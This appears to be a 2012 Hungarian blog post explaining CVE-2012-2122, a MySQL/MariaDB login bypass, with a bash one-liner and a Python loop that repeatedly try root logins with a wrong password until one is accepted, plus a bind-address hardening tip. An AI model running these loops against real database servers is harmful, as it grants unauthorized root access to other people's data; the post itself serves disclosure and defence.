2012. sze 22.

CVE-2012-2122: MySQL bejelentkezés átjátszás (authentication bypass)

írta: MaxBlog
CVE-2012-2122: MySQL bejelentkezés átjátszás (authentication bypass)

Leírás:

Pár hónapja találtak egy komoly biztonsági rést a MySQL legelterjettebb verzióiban, amelynek kihasználásával átjátszható a bejelentkezés. A bug az összes MySQL verziót érinti (egészen az 5.1.61, 5.2.11, 5.3.5, 5.5.22-es verziókig) + az összes MariaDB verziót.

images.jpg

A kihasználáshoz elegendô tudni egy létezô MySQL/MariaDB felhasználónevet (általában létezik root felhasználó). A sebezhetôség lényege , hogy bejelentkezéskor kigenerálódik egy token (titkosított jelszó + random karakterlánc) majd összehasonlítódik egy várt értékkel. Ez eddig biztonságosnak hallatszik, de az összehasonlítások során egyszer-egyszer a bejelentkezô rendszer elfogadja a tokent, még akkor is, ha a memcmp() függvény egy zérótól eltérô értéket ad vissza. Mivel a protokol random karakterláncot használ, a jogosulatlan bejelentkezés eséje 1:256.

Bash szkript:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Python szkript:

 

#!/usr/bin/python
import subprocess
while 1:
     subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
 

Védekezés:

Külsô bejelentkezések tiltása: nyisd meg notepaden keresztül a my.cnf fájlt, keresd meg a [mysqld] konfigurációkat, majd módosítsd (vagy szúrd be) a "bind-address" beállítás paramétetét "127.0.0.1"-re. A végén indítsd újra a MySQL-t, hogy a beállításod érvényesülhessen.

Szólj hozzá

hack bug python security mysql bash exploit bypass authentication